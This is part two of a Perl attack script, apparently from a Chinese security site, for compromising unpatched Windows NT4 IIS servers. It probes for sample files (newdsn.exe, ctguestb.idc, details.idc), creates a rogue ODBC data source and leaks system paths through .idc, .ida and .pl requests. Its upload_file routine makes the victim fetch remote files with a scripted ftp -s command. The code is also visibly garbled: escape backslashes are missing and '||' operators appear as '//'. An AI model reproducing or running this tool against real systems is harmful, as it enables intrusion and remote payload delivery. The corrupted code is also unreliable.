|
攻击NT4没打补丁的perl程序(下) |
| ######################## # 通过ftp -s下载文件 # ######################## sub upload_file { my ($foobar) = @_; $foobar =~ /(S+):(S+)/; print("* Uploading ftp script...n"); &exec_cmd("cmd /c echo anonymous> C:\hello.txt"); &exec_cmd("cmd /c echo [email protected]>> C:\hello.txt"); &exec_cmd("cmd /c echo get $2>> C:\hello.txt"); &exec_cmd("cmd /c ftp -s:C:\hello.txt $1"); print("* Fetching file - it can be found in: C:\WINNT\SYSTEM32\$2n"); } ################################################## # 初始化新的 DSN 通过 GETting文件 ctguestb.idc # ################################################## sub init_gb { my @results=sendraw("GET /scripts/samples/ctguestb.idc HTTP/1.0nn"); return 0; } ################################################################# # Checks ifhttp://somehost.net/scripts/tools/newdsn.exeexists # ################################################################# sub check_newdsn { my @results=sendraw("GET /scripts/tools/newdsn.exe HTTP/1.0nn"); $results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#; return 1 if $2 eq "200"; return 0; } ##################################################################### # .idc's are funny...return codes are: # # 200 OK if they exist and DSN is made # # 500 Error performing query if they exist and DSN is NOT made # # 200 Error performing query if they don't exist # # Information provided by RFP's whisker # ##################################################################### # 检测是否http://攻击主机/scripts/samples/ctguestb.idc文件存在 # ##################################################################### sub check_ctguestb { my @results=sendraw("GET /scripts/samples/ctguestb.idc HTTP/1.0nn"); $results[0]=~m#HTTP/([0-9.]+) ([0-9]+) (S+) ([^nr]*)#; if ($2 eq "500" // ($2 eq "200" && $3 eq "OK")) { return 1; } return 0; } #################################################################### # 检测是否http://攻击主机/scripts/samples/details.idc 文件存在 # #################################################################### sub check_details { my @results=sendraw("GET /scripts/samples/details.idc HTTP/1.0nn"); $results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^rn]*)#; if ($2 eq "500" // ($2 eq "200" && $3 eq "OK")) { return 1; } return 0; } ###################################################################### # 检测 newdsn.exe, ctguestb.idc 和 details.idc 是否存在 # ###################################################################### sub check_cgis { print("tChecking for: newdsn.exet-- "); if(&check_newdsn == 0) { print("Not Found :(n"); exit; } else { print("Found :)n"); } print("tChecking for: ctguestb.idct-- "); if(&check_ctguestb == 0) { print("Not Found :(n"); exit; } else { print("Found :)n"); } print("tChecking for: details.idct-- "); if(&check_details == 0) { print("Not Found :(n"); exit; } else { print("Found :)n"); } } ######################################### # 建立一个新的DSN,并且以"Web SQL"命名 # ######################################### sub make_dsn { my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft%2B" . "Access%2BDriver%2B%28*.mdb%29&dsn=Web%20SQL&dbq=" . "C%3A%5Cfoobar.mdb&newdb=CREATE_DB&attr= HTTP/1.0nn"); $results[0]=~m#HTTP/([0-9.]+) ([0-9]+) ([^n]*)#; if($2 eq "200") { foreach $line (@results) { return 1 if $line=~/<H2>Datasource creation successful</H2>/;}} return 0;} ###################################### # 用 .idc 溢出得到系统绝对路径 # ###################################### sub idc_bug { my @results=sendraw("GET /blaat.idc HTTP/1.0nn"); @results=grep(/[A-Z]:\S*/, @results); $results[0] =~ /([A-Z]:\S*)blaat.idc/; return $1; } ###################################### # 用 .ida 溢出得到系统绝对路径 # ###################################### sub ida_bug { my @results=sendraw("GET /blaat.ida HTTP/1.0nn"); @results=grep(/([A-Z]:\S*)/, @results); $results[0] =~ /([A-Z]:\S*)blaat.ida/; return $1; } ##################################### # 用 .pl 溢出得到系统绝对路径 # ##################################### sub pl_bug { my @results=sendraw("GET /blaat.pl HTTP/1.0nn"); @results=grep(/[A-Z]:\/,@results); $results[0] =~ /([A-Z]:\S*)blaat.pl/; return $1; } ###################################################### # 发送一个请求通过TCP协议的80端口到目标主机 # ###################################################### sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')//0) // die("Socket problemsn"); if(connect(S,pack "SnA4x8",2,80,$target)){ my @in; select(S); $/=1; print $pstr; while(<S>){ push @in, $_; print STDOUT "." if(defined $args{X});} select(STDOUT); close(S); return @in; } else { die("Can't connect...n"); } } ------------ Net_double_C |